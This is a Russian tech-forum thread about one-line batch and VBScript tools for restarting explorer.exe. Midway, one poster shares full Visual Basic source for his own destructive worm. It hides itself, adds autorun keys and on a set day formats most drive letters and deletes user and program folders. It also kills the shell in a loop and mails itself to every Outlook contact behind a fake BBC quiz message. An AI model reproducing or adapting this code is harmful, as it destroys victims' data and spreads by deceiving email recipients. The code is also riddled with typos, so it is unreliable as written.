"2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)

- Автоматическая установка приложений (http://forum.oszone.net/forumdisplay.php?f=61)

"2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"

Хотя это и не программа вовсе, а две строки батника,
но это удобней чем запускать "Диспетчер задач" убивать "explorer.exe" и запускать по-новой вручную

Иконка программы копируется в "Quick Launch" для "текущего пользователя" и для "Default User"
также прописывает в реестре значения для автозагрузки "Диспетчера задач"
и значение включающее галочку в "Диспетчере задач" ("Параметры" - "Скрывать свёрнутое")
чтобы запускался только в трее (хотя иногда глючит, тогда лучше руками перенажать "Скрывать свёрнутое")
(возможно значения реестра могут отличаться, параметры скопированы с реестра XP Pro SP2 Rus, на XP Pro SP3 Rus тоже ничего не изменилось)

при нажатии на иконку завершается и запускается по-новой "explorer.exe", также
завершается и запускается по-новой "Диспетчер задач" минимизированным в трее
(иногда глючит и появляется в "Панели задач", приходится разворачивать - сворачивать вручную)
лучше нажимать ярлык программы несколько раз )

имя иконки "2 Reboot (explorer.exe)" специально сделано с цифрой "2",
чтобы программа в "быстром запуске" стояла вначале всегда под рукой,
потому что, когда "explorer.exe" подвисает, ничего уже не открывается,
и открыть список "быстрого запуска" не всегда возможно,
остаётся только тыкнуть в этот ярлык если он на виду
(но иногда "explorer.exe" так повисает, что даже его не тыкнешь, тогда как обычно ручками Ctrl+Alt+Del хотя и это бывает не реагирует)

p.s. иконка стрёмная, кому надо можно переделать всё сделано в SFX WinRAR, после скачивания переименовать .rar в .exe

а через taskkill не проще ярлык замутить?
или тоже батник?

Есть другой способ.

PHP код:


		
			
'Если ошибка продолжаем далее.
On Error Resume Next
' ****************************************************************
'Тут задаются параметры текста и заголовка.
L_Welcome_MsgBox_Message_Text   = _
    "Выполняем перезагрузку explorer.exe?"
L_Welcome_MsgBox_Title_Text     = "Перезагружаем explorer.exe"
Call Welcome()
' ****************************************************************
'Завершает работу программы.
Set oShell = CreateObject("WScript.Shell")
On Error Resume Next
 ' ****************************************************************
Sub t_message(name, res)
Select Case res
case 0 WScript.Echo name & " Successful completion."
case 2 WScript.Echo name & " The user does not have access to the requested information."
case 3 WScript.Echo name & " The user does not have sufficient privilge."
case 8 WScript.Echo name & " Unknown failure."
case 9 WScript.Echo name & " The path specified does not exist."
case 21 WScript.Echo name & " The specified parameter is invalid."
Case Else WScript.Echo name & " " & res & " Refer to Win32 error code documentation."
End Select
End Sub
' ****************************************************************
'explorer.exe
' ****************************************************************
For each Service in GetObject("winmgmts:{impersonationLevel=impersonate}!//localhost").ExecQuery("select * from Win32_Process where Name='explorer.exe'")
res = Service.Terminate()
Call t_message("explorer.exe", res)
Next
' ****************************************************************
'Запускаем Программу.
Dim wsh
Set wsh=CreateObject("WScript.Shell")
wsh.Run "%systemroot%\explorer.exe"
' ****************************************************************
'Если нажимаем да то скрипт продолжает работу, а если нет то завершает работу.
Sub Welcome()
    Dim intDoIt

    intDoIt =  MsgBox(L_Welcome_MsgBox_Message_Text, _
        vbYesNo + vbInformation, _
        L_Welcome_MsgBox_Title_Text )
    If intDoIt = vbCNo Then
       WScript.Quit
    End If
End Sub
' ****************************************************************

voler,

А как этот код использовать ?
Подскажи пожалуста

kot1313, скопируйте в Блокнот, сохраните как "script.vbs" (с кавычками).

farlow,
+1

2 all:
Создаём Tекстовый документ.txt
Заходим в него и пишем:

Код:

taskkill.exe /F /IM explorer.exe

start %systemdrive%\Windows\explorer.exe

Сохраняем. Переименовываем Tекстовый документ.txt в Restart Explorer.cmd
Запускаем.

Цитата:

Цитата farlow

а через taskkill не проще ярлык замутить?
или тоже батник? »

Цитата:

Цитата XpucT

Создаём Tекстовый документ.txt
Заходим в него и пишем:
Код:
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe »

а сюда %ProgramFiles%\2 Reboot (explorer.exe) заглянуть трудно?
там такой же батник с таким же текстом

Код:

CLS

@echo off





rem убиваем и запускаем по новой explorer.exe 

taskkill.exe /F /IM explorer.exe

start %systemdrive%\Windows\explorer.exe



rem убиваем и запускаем по новой taskmgr.exe минимизированным

taskkill.exe /F /IM taskmgr.exe

start /min %systemdrive%\Windows\System32\taskmgr.exe

только ещё диспетчер задач минимизированный запускается,
он свернётся в трей если применён твик который ставится автоматически или вручную можно включить "Скрывать свёрнутое"

Надо было бы мне делать этот батник, но explorer.exe всё также виснет на копировании файлов, даже в SP3 проблему не захотели решить

Могу даже сказать при каких условиях он виснет, если в "Пуск" мышкой перетащить с рабочего стола "Мой компьютер", или перетащить любой локальный диск из "Мой компьютер"
тогда эти диски будут раскрываться прямо из меню пуск, лично мне без этой опции каждый раз тыкаться по всем дискам и папкам просто нереально будет найти нужный файл
проводник с деревом я тоже ненавижу, поэтому и приходится вытаскивать диски в "Пуск"
Чтобы эффект проявился нужно перетащить "Мой компьютер" мышкой в "Пуск" и перезагрузиться, потом начать копировать файлы без разницы куда, главное по-больше мелких, пару сотен мегабайт и explorer.exe наглухо подвиснет, правда не всегда эффект проявляется с первого раза, иногда может целый день работать, а иногда с одного маленького файла зависнет
Причём не зависит от конфигурации компьютера, AMD или Intel без разницы
Если убрать из меню "Пуск" все такие раскрывающиеся диски и снова перезагрузиться, то explorer.exe больше не будет виснуть на копировании, да и вобще будет редко виснуть

Знаешь, Мне кажется Мой вариант попроще остальных будет. ;)

Цитата:

Цитата XpucT

Знаешь, Мне кажется Мой вариант попроще остальных будет. »

Упрощаем...

Код:

taskkill.exe /F /IM explorer.exe

start %windir%\explorer.exe

... и еще проще ...

Код:

taskkill.exe /F /IM explorer.exe

start explorer.exe

А еще проще

Цитата:

Цитата gora

taskkill.exe /F /IM explorer.exe
explorer.exe »

А вот мой зверек, писал давно.

Код:

Option Explicit



Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Dim WshShell

Dim WScript

Dim SysDir

Dim FSO

Dim Ret

Dim Reg

Private Sub Form_Load()



On Error Resume Next

 

Set WshShell = WScript.CreateObject("WScript.Shell")

 

Set FSO = CreateObject("Scripting.FileSystemObject")



Set Reg = CreateObject("WScript.Shell")



SysDir = FSO.GetSpecialFolder(1)



Call FSO.Createder(SysDir & "\SysBootDrivers")



Ret = CopyFile(App.Path & "\" & App.EXENa& ".exe", Eviron("windir") & "\system32\SysBootDrivers" & "\" & "PsyTest.exe", False)

 

SetAtr (SysDir & "\SysBootivers"), vbHidden





Reg.RegWrite "HKLM\Softare\Microsoft\Windows\CurrentVersion\Run\SystemFilesProtect", SysDir & "\SysBootDrivers\SystemRunder.vbs"





Open SysDir & "\SysBootDrivers\BDA7I.bat" For Output As #1

Print #1, "@ECHO OFF"

Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %SystemDrive%\RECYCLER\Unvisible.vbs"

Prin #1, "ECHO WSHShell.run " & """" & "%SystemDrive%\RECYCLER\DAVINCI.bat" & """" & ",0 >> %SystemDrive%\RECYCLER\Unvisible.vbs"

Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\Unvisible1.vbs"

Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\DOBERUS.BAT" & """" & ",0 >> %winDir%\system32\SysBootDrivers\Unvisible1.vbs"

Print #1, "ECHO Set WSHShell = WScript.CreaeObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\REGProtect.vbs"

Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\REFORMX.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\REGProtect.vbs"

Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\SystemWor.vbs"

Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\SystemWor.vbs"

Print #1, "ECHO SET HDDINFKILL=FORMAT > %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% D: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% E: /Q /Y >%SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% C: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% A: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% B: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% F: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% G: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% H: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% I: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDIFKILL%% J: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% K: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% L: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% M: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% N: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% O: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% P: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% Q: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "ECHO %%HDDINFKILL%% R: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\DAVINCI.bat"

Print #1, "START %SystemDrive%\RECYCLER\Unvisible.vbs"

Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\Unvisible.vbs"

Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\Unvisible1.vbs"

Print #1, "@ATTRIB +H +R +S %\system32\SysBootDrivers\REGProtect.vbs"

Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\SystemWor.vbs"

Print #1, "ECHO SET REGOBJECT=REG ADD > %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO REGOBJECT%% " & "& "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  SystemDav /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\SystemWor.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_USERS\.DEFAULT\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECO %%REGOBJECT%% " & """" & "HEY_CURRENT_USER\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO START %winDir%\system32\SysBootDrivers\REGProtect.vbs >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "ECHO EXIT >> %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "@ATTRIBH +R +S %winDir%\system32\SysBootDrivers\REFORMX.bat"

Print #1, "START %winDir%\system32\SysBootDrivers\REGProtect.vbs"

Print #1, "ECHO @ECHO OFF > %winDir%\system32\SysBootDrivers\DOBERUS.BAT"

Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\DOCUME~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"

Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\PROGRA~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"

Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"

Print #1, "ECHO REG ADD " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v  NoForExplorer /t reg_sz /d " & """" & "%winDir%\stem32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"

Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\DOBERUS.BAT"

Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\StopExplorer.VBS"

Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\StopExplorer.VBS"

Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"

Print #1, "ECHO taskkill /f /im Explorer.exe > %winDir%\system32\SysBootDrivers\StopExplorer.bat"

Print #1, "ECHO taskkill /f /im Taskmgr.exe >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"

Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"

Print #1, "@ATTRIB +H +R +S %winDir\system32\SysBootDrivers\StopExplorer.VBS"

Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\StopExplorer.bat"

Print #1, "DEL %0"

Print #1, "EXIT"

Close #1





Open SysDir & "\ZipFLD.vbs" For Ouput As #1

Print #1, "Option Explicit "

Print #1, "Dim SysDir"

Print #1, ""

Print #1, "MakeZIP"

Print #1, ""

Print #1, ""

Print #1, "Sub MakeZIP()"

Print #1, "Dim fso"

Print #1, "Dim wShell"

Print #1, "Dim Shell"

Prnt #1, "Dim n"

Print #1, "Dim ie"

Print #1, "Dim ZIPfile"

Print #1, "Dim ZIPdata:ZIPdata=" & """" & "PK" & """" & " & Chr(5) & Chr(6) & String(18,0)"

Print #1, "Dim file"

Print #1, "Dim Folder"

Print #1, "Dim FolderItem"

Print #1, "Dim dFolder"

Print #1, "Set fso=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"

Print #1, "Set wShell=CreateObject(" & """" & "WScript.Shell" & """" & ")"

Print #1, "SysDir = fso.GetSpecialFolder(1) "

Print #1, "Dim foldName : foldName = SDir & " & """" & "\SysBootDrivers\PsyTest.exe" & """" & ""

Print #1, "Dim archName : archName = SysDir & " & """" & "\SysBootDrivers\PsyTest.zip" & """" & ""

Print #1, "Set Shell=CreateObject(" & """" & "Shell.Application" & """" & ")"

Print #1, "For n=0 To 9"

Print #1, "For Each ie In Shell.Windows"

Print #1, "If Not ie.Busy Then"

Print #1, "If ie.ReadyState=4 Then"

Print #1, "If InStr(TypeName(ie.Docment)," & """" & "IShellFolderViewDual" & """" & ")=1 Then"

Print #1, "Exit For"

Print #1, "End If"

Print #1, "End If"

Print #1, "End If"

Print #1, "Next"

Print #1, "If Not IsEmpty(ie) Then Exit For"

Print #1, "If n=0 Then CreateObject(" & """" & "WScript.Shell" & """" & ").Run " & """" & "explorer.exe" & """" & ",0,True"

Print #1, "WScript.Sleep 100"

Print #1, "Next"

Print #1, "If IsEmpty(ie) Then"

Print #1, "WScript.Quit"

Print #1, "End If"

Print #1, "Set Shell=ie.Document.Application"

Print #1, "ZIPfile=fso.GetAbsolutePathName(archName)"

Print #1, "If UCase(fso.GetExtensionName(ZIPfile))<>" & """" & "ZIP" & """" & " Then"

Print #1, "WScript.Quit"

Print #1, "End If"

Print #1, "If Not fso.FileExists(ZIPfile) Then"

Print #1, "fso.CreateTextFile(ZIPfile,False).Write ZIPdata"

Print #1, "End If"

Print #1, "Set dFolder=Shell.NamSpace(ZIPfile)"

Print #1, "file=fso.GetAbsolutePathName(foldName)"

Print #1, "Set Folder=Shell.NameSpace(fso.GetParentFolderName(file))"

Print #1, "Set FolderItem=Folder.ParseName(fso.GetFileName(file))"

Print #1, "If FolderItem Is Nothing Then"

Print #1, "WScript.Quit"

Print #1, "End If"

Print #1, "dFolder.Copyre FolderItem"

Print #1, "End Sub"

Close #1



If FSO.FileExists(SysDir & "\SysBootDrivers\PsyTest.zip") Then

On Error Resume Next

Kill (SysDir & "\SysBootDrivers\PsyTest.zip")

VBA.Shell "cscript.exe   " & (SysDir & "\ZipFLD.vbs"), vbHide

Else

VBA.Shell "cscript" & (SysDir & "\ZipFLD.vbs"), vbHide

End If



SetAttr (SysDir & "\ZipFLD.vbs"), vbHidden

SetAttr (SysDir & "\SysBootDrivers\PsyTest.exe"), vbHidden



Open SysDir & "\SysBootDrivers\SystemRunder.vbs" For Output As #1

Print #1, "if Day(now)=16 Then"

Print #1, "On Error Next "

Print #1, "Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ")"

Print #1, "Set fso = CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"

Print #1, "SysDir = fso.GetSpecialFolder(1)"

Print #1, "WshShell.Run(SysDir & " & """" & "\SysBootDrivers\BDA7I.bat" & """" & "), vbHide"

Print #1, "End If"

Close #1



VBA.Shell "cscript.exe   " & (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHide



SetAttr (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHidden



Open SysDir & "\SysBootDrivers\Wor-D.bat" For Output As #1

Print #1, "SET WDQS=CHO"

Print #1, "%WDQS% Dim x > %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% ON ERROR RESUME NEXT >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set so=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ") >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set ol=CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D1" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "exit"

Close #1

SetAttr (SysDir & "\SysBotDrivers\Wor-D.bat"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D1.bat" For Output As #1

Print #1, "SET WDQS=ECHO"

Print #1, "%WDQS% out= WScript.CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D2" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "exit"

Close #1

SetAttr (SysDir & "\SysBDrivers\Wor-D1.bat"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D2.bat" For Output As #1

Print #1, "SET WDQS=ECHO"

Print #1, "%WDQS% Set mapi = out.GetNameSpace(" & """" & "MAPI" & """" & ") >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set a = mapi.AddressLists(1) >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D3" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "start %winDir%\sysem32\SysBootDrivers\RndVBS.VBS"

Print #1, "exit"

Close #1

SetAttr (SysDir & "\SysBootDrivers\Wor-D2.bat"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D3.bat" For Output As #1

Print #1, "SET WDQS=ECHO"

Print #1, "%WDQS% For x=x+1 To a.AddressEntries.Count >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set Dav=ol.CreateItem(0) >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Dav.to=ol.GetNameSpace(" & """" & "MAPI" & """" & ").AddressLists(1).AddressEntries(x) >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D4" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Prnt #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "exit"

Close #1

SetAttr (SysDir & "\SysBootDrivers\Wor-D3.bat"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D4.bat" For Output As #1

Print #1, "SET WDQS=ECHO"

Print #1, "%WDQS% Dav.Subject=" & """" & "What am I like?" & """" & " >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Dav.Body=" & """" & "HI! In this programme, you can play along and discover your personality type at home. Are you an Idlist, a Big Thinker or another of 16 personality types? Use the attachment and visit home page of this programme http://www.BBC.co.uk/sn/tvradio/programmes/whatamilike/ Contact Us http://www.BBC.co.uk/feedback/" & """" & " >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D5" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "exit"

Close #1

SetAttr (SysDir & "\SysBootDrivers\Wor-D4.bat"), vbHidden

Oen SysDir & "\SysBootDrivers\Wor-D5.bat" For Output As #1

Print #1, "SET WDQS=ECHO"

Print #1, "%WDQS% Dav.Attachments.Add(" & """" & "%winDir%\system32\SysBootDrivers\PsyTest.zip" & """" & ") >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D6" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "exit"

Cse #1

SetAttr (SysDir & "\SysBootDrivers\Wor-D5.bat"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D6.bat" For Output As #1

Print #1, "SET WDQS=ECHO"

Print #1, "%WDQS% Dav.Send >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% Next >> %winDir%\system32\SystemDav.vbs"

Print #1, "%WDQS% ol.Quit >> %winDir%\system32\SystemDav.vbs"

Print #1, "attrib +h %winDir%\system32\SystemDav.vbs"

Print #1, "start %winDir%\system32\SystemDav.vbs"

Pint #1, "del %winDir%\system32\SysBootDrivers\RndVBS.VBS"

Print #1, "exit"

Close #1

SetAr (SysDir & "\SysBootDrivers\Wor-D6.bat"), vbHidden

MsgBox "This application has failed to start because CSLav9e.dll was not found!", vbCritical



Set FSO = Nothing

Set WshShell = Nothing

End

End Sub







                       'Created by ComSyntax'

                                '14/08/2007'

                                   'DaViNcI'

ComSyntax, я думаю такие "поэмы" :) нужно под кат, то бишь HIDE..

Цитата:

taskkill.exe /F /IM explorer.exe
start explorer.exe

Ну эт понятно.. А вот как быть если 2 процесса explorer?

Рядовая ситуация в случае твика - "оболочка и проводник - различные процессы"..

зы. хотя можно конечно продублировать 1-ую строчку..

Цитата:

Цитата Imago_

ComSyntax, я думаю такие "поэмы" нужно под кат, то бишь HIDE.. »

Нда! Об этом не подумал.

Цитата:

Цитата Imago_

Ну эт понятно.. А вот как быть если 2 процесса explorer? »

У XP проводник не афишируется в диспетчере, а вистай я не пользуюсь.
В любом случаи продублировав 1-ую строчку должно получиться.
Увы не велики просторы сие чюдоБата.

Цитата:

Цитата ComSyntax

У XP проводник не афишируется в диспетчере, а вистай я не пользуюсь »

И я не пользуюсь :)
А что значит "не афишируется"? - все есть и все видно..
зы. дублеж не помог.

Цитата:

Цитата Imago_

И я не пользуюсь »

OKИ! Это я по скринам предположил, хотя мог догадаться по процессу на том же скрине DrvIcon.exe.

Цитата:

Цитата Imago_

А что значит "не афишируется"? - все есть и все видно.. »

Чудной у тебя Винт, можешь уверенно использовать и этот код, так как случаи подобные твоему единичные, имею в виду что большинство компов не афишируют проводник explorer'а.

Цитата:

Цитата ComSyntax

Чудной у тебя Винт, можешь уверенно использовать и этот код, так как случаи подобные твоему единичные, имею в виду что большинство компов не афишируют проводник explorer'а. »

у меня тоже всегда 2 процесса запущено.